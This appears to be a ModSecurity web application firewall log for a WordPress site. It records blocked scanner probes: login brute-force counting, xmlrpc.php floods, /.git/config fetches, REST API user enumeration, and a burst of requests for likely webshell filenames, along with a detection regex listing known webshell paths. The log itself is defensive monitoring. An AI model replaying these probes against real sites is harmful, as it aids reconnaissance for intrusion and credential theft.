[Tue Dec 09 18:48:41.169160 2025] [:error] [pid 36456:tid 36463] [client 52.242.231.141:14951] [client 52.242.231.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.242.231.141, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTf-iR0pAnOyfXl_v40MagAAAIU"]
[Tue Dec 09 19:53:53.341651 2025] [:error] [pid 30500:tid 30564] [client 35.192.77.233:59354] [client 35.192.77.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTgN0a2eIIK3JPWHCXXMlQAAAYc"]
[Tue Dec 09 20:09:21.390656 2025] [:error] [pid 36456:tid 36478] [client 111.93.93.19:38588] [client 111.93.93.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 111.93.93.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTgRcR0pAnOyfXl_v40h1gAAAJQ"]
[Tue Dec 09 21:53:47.868270 2025] [:error] [pid 30500:tid 30567] [client 45.148.10.250:47408] [client 45.148.10.250] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aTgp662eIIK3JPWHCXUJnwAAAYo"]
[Tue Dec 09 22:11:19.376067 2025] [:error] [pid 30498:tid 30514] [client 103.12.76.247:38994] [client 103.12.76.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.12.76.247, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTguBx2mcZJQ5qP_RC1SwgAAAAw"]
[Tue Dec 09 22:17:19.680700 2025] [:error] [pid 5276:tid 5300] [client 94.250.251.7:51256] [client 94.250.251.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.250.251.7, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTgvb0tSXwbewdwyu-2OfAAAANY"]
[Tue Dec 09 22:17:25.268753 2025] [:error] [pid 5276:tid 5281] [client 94.250.251.7:51256] [client 94.250.251.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.250.251.7, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTgvdUtSXwbewdwyu-2OhAAAAMM"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 09 22:41:01.103117 2025] [:error] [pid 30591:tid 30618] [client 34.187.194.126:59080] [client 34.187.194.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.187.194.126, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTg0_RG-g76drVdWQUWlAAAAAFg"]
[Tue Dec 09 22:41:05.039068 2025] [:error] [pid 30591:tid 30613] [client 34.187.194.126:59080] [client 34.187.194.126] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTg1ARG-g76drVdWQUWlFAAAAFM"]
[Tue Dec 09 22:41:07.522673 2025] [:error] [pid 30591:tid 30602] [client 34.187.194.126:59080] [client 34.187.194.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.187.194.126, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTg1AxG-g76drVdWQUWlHwAAAEg"]
[Tue Dec 09 22:41:09.433966 2025] [:error] [pid 30499:tid 30539] [client 34.187.194.126:58822] [client 34.187.194.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.187.194.126, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTg1BU0x3OqZTOPp7ckisAAAAUk"]
[Tue Dec 09 22:41:11.343068 2025] [:error] [pid 30499:tid 30544] [client 34.187.194.126:62991] [client 34.187.194.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.187.194.126, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTg1B00x3OqZTOPp7ckisQAAAU4"]
[Tue Dec 09 22:41:13.195286 2025] [:error] [pid 5276:tid 5295] [client 34.187.194.126:50451] [client 34.187.194.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.187.194.126, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTg1CUtSXwbewdwyu-2V2QAAANE"]
[Tue Dec 09 22:41:15.006257 2025] [:error] [pid 30500:tid 30560] [client 34.187.194.126:63861] [client 34.187.194.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.187.194.126, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTg1C62eIIK3JPWHCXUaMwAAAYM"]
[Tue Dec 09 22:41:15.006472 2025] [:error] [pid 30500:tid 30560] [client 34.187.194.126:63861] [client 34.187.194.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.187.194.126, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTg1C62eIIK3JPWHCXUaMwAAAYM"]
[Tue Dec 09 23:09:14.634296 2025] [:error] [pid 30498:tid 30506] [client 45.148.10.250:49554] [client 45.148.10.250] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aTg7mh2mcZJQ5qP_RC1k9QAAAAQ"]
[Tue Dec 09 23:44:31.108888 2025] [:error] [pid 30591:tid 30600] [client 110.166.71.39:35019] [client 110.166.71.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aThD3xG-g76drVdWQUW9qAAAAEY"]
[Wed Dec 10 00:24:39.940573 2025] [:error] [pid 2366:tid 2369] [client 173.212.241.156:48268] [client 173.212.241.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.212.241.156, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aThNR0AeBjkmsNRkd1M1GQAAAME"]
[Wed Dec 10 00:25:01.203122 2025] [:error] [pid 2280:tid 2359] [client 4.189.144.112:7120] [client 4.189.144.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aThNXXcqIB-8ALgw4Zos2AAAAJY"]
[Wed Dec 10 00:25:11.443002 2025] [:error] [pid 2279:tid 2328] [client 4.189.144.112:7045] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dejavu.php"] [unique_id "aThNZ1mpdQscMcJOElWM0wAAAVI"]
[Wed Dec 10 00:25:13.635558 2025] [:error] [pid 2366:tid 2378] [client 4.189.144.112:7043] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dejavu.php"] [unique_id "aThNaUAeBjkmsNRkd1M1nwAAAMo"]
[Wed Dec 10 00:25:16.376295 2025] [:error] [pid 2277:tid 2291] [client 4.189.144.112:7113] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dejavu.php"] [unique_id "aThNbIWGo731r6eS-w41mwAAAAk"]
[Wed Dec 10 00:25:17.142663 2025] [:error] [pid 2279:tid 2315] [client 4.189.144.112:7159] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dejavu.php"] [unique_id "aThNbVmpdQscMcJOElWM7AAAAUU"]
[Wed Dec 10 00:25:18.606172 2025] [:error] [pid 2279:tid 2310] [client 4.189.144.112:7044] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index.php"] [unique_id "aThNblmpdQscMcJOElWM9AAAAUA"]
[Wed Dec 10 00:25:18.966325 2025] [:error] [pid 2366:tid 2376] [client 4.189.144.112:7107] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index.php"] [unique_id "aThNbkAeBjkmsNRkd1M1rQAAAMg"]
[Wed Dec 10 00:25:19.429848 2025] [:error] [pid 2277:tid 2295] [client 4.189.144.112:7041] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index.php"] [unique_id "aThNb4WGo731r6eS-w41ngAAAAw"]
[Wed Dec 10 00:25:19.797398 2025] [:error] [pid 2279:tid 2318] [client 4.189.144.112:7149] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index.php"] [unique_id "aThNb1mpdQscMcJOElWM-QAAAUg"]
[Wed Dec 10 00:25:20.383082 2025] [:error] [pid 2366:tid 2377] [client 4.189.144.112:7060] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pepe.php"] [unique_id "aThNcEAeBjkmsNRkd1M1tAAAAMk"]
[Wed Dec 10 00:25:20.898853 2025] [:error] [pid 2280:tid 2344] [client 4.189.144.112:7126] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pepe.php"] [unique_id "aThNcHcqIB-8ALgw4ZotAwAAAIc"]
[Wed Dec 10 00:25:22.150223 2025] [:error] [pid 2280:tid 2350] [client 4.189.144.112:7118] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pepe.php"] [unique_id "aThNcncqIB-8ALgw4ZotCAAAAI0"]
[Wed Dec 10 00:25:23.559377 2025] [:error] [pid 2277:tid 2283] [client 4.189.144.112:7054] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pepe.php"] [unique_id "aThNc4WGo731r6eS-w41oAAAAAE"]
[Wed Dec 10 00:25:24.932782 2025] [:error] [pid 2366:tid 2389] [client 4.189.144.112:7156] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/z.php"] [unique_id "aThNdEAeBjkmsNRkd1M1xQAAANU"]
[Wed Dec 10 00:25:25.634110 2025] [:error] [pid 2279:tid 2334] [client 4.189.144.112:7092] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/z.php"] [unique_id "aThNdVmpdQscMcJOElWNBwAAAVg"]
[Wed Dec 10 00:25:27.271309 2025] [:error] [pid 2366:tid 2384] [client 4.189.144.112:7164] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/z.php"] [unique_id "aThNd0AeBjkmsNRkd1M12gAAANA"]
[Wed Dec 10 00:25:27.967733 2025] [:error] [pid 2366:tid 2386] [client 4.189.144.112:7119] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/z.php"] [unique_id "aThNd0AeBjkmsNRkd1M14wAAANI"]
[Wed Dec 10 00:25:29.832863 2025] [:error] [pid 2280:tid 2343] [client 4.189.144.112:7148] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-update.php"] [unique_id "aThNeXcqIB-8ALgw4ZotFAAAAIY"]
[Wed Dec 10 00:25:31.311312 2025] [:error] [pid 2280:tid 2358] [client 4.189.144.112:7153] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-update.php"] [unique_id "aThNe3cqIB-8ALgw4ZotGgAAAJU"]
[Wed Dec 10 00:25:32.042289 2025] [:error] [pid 2366:tid 2370] [client 4.189.144.112:7077] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-update.php"] [unique_id "aThNfEAeBjkmsNRkd1M17wAAAMI"]
[Wed Dec 10 00:25:32.970794 2025] [:error] [pid 2277:tid 2287] [client 4.189.144.112:7114] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-update.php"] [unique_id "aThNfIWGo731r6eS-w41uwAAAAU"]
[Wed Dec 10 00:25:34.097240 2025] [:error] [pid 2280:tid 2355] [client 4.189.144.112:7152] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aThNfncqIB-8ALgw4ZotIwAAAJI"]
[Wed Dec 10 00:25:35.921938 2025] [:error] [pid 2280:tid 2352] [client 4.189.144.112:7133] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aThNf3cqIB-8ALgw4ZotLgAAAI8"]
[Wed Dec 10 00:25:37.003731 2025] [:error] [pid 2280:tid 2345] [client 4.189.144.112:7141] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aThNgXcqIB-8ALgw4ZotMQAAAIg"]
[Wed Dec 10 00:25:37.716801 2025] [:error] [pid 2366:tid 2371] [client 4.189.144.112:7100] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aThNgUAeBjkmsNRkd1M2CAAAAMM"]
[Wed Dec 10 00:25:38.726101 2025] [:error] [pid 2277:tid 2282] [client 4.189.144.112:7046] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aThNgoWGo731r6eS-w41ywAAAAA"]
[Wed Dec 10 00:25:39.453809 2025] [:error] [pid 2280:tid 2353] [client 4.189.144.112:7121] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aThNg3cqIB-8ALgw4ZotPAAAAJA"]
[Wed Dec 10 00:25:40.509098 2025] [:error] [pid 2280:tid 2345] [client 4.189.144.112:7157] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aThNhHcqIB-8ALgw4ZotPwAAAIg"]
[Wed Dec 10 00:25:41.134427 2025] [:error] [pid 2280:tid 2361] [client 4.189.144.112:7137] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aThNhXcqIB-8ALgw4ZotQgAAAJg"]
[Wed Dec 10 00:25:41.844959 2025] [:error] [pid 2277:tid 2302] [client 4.189.144.112:7057] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aThNhYWGo731r6eS-w412QAAABM"]
[Wed Dec 10 00:25:43.080191 2025] [:error] [pid 2366:tid 2378] [client 4.189.144.112:7051] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aThNh0AeBjkmsNRkd1M2HAAAAMo"]
[Wed Dec 10 00:25:43.847645 2025] [:error] [pid 2366:tid 2370] [client 4.189.144.112:7160] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aThNh0AeBjkmsNRkd1M2IgAAAMI"]
[Wed Dec 10 00:25:44.564610 2025] [:error] [pid 2366:tid 2380] [client 4.189.144.112:7019] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aThNiEAeBjkmsNRkd1M2KgAAAMw"]
[Wed Dec 10 00:25:45.206071 2025] [:error] [pid 2279:tid 2318] [client 4.189.144.112:7074] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.php"] [unique_id "aThNiVmpdQscMcJOElWNPgAAAUg"]
[Wed Dec 10 00:25:45.781530 2025] [:error] [pid 2279:tid 2329] [client 4.189.144.112:7062] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.php"] [unique_id "aThNiVmpdQscMcJOElWNQAAAAVM"]
[Wed Dec 10 00:25:46.844320 2025] [:error] [pid 2280:tid 2360] [client 4.189.144.112:7166] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.php"] [unique_id "aThNincqIB-8ALgw4ZotTwAAAJc"]
[Wed Dec 10 00:25:48.238851 2025] [:error] [pid 2366:tid 2372] [client 4.189.144.112:7099] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.php"] [unique_id "aThNjEAeBjkmsNRkd1M2PgAAAMQ"]
[Wed Dec 10 00:25:49.722456 2025] [:error] [pid 2277:tid 2305] [client 4.189.144.112:7131] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "aThNjYWGo731r6eS-w414wAAABY"]
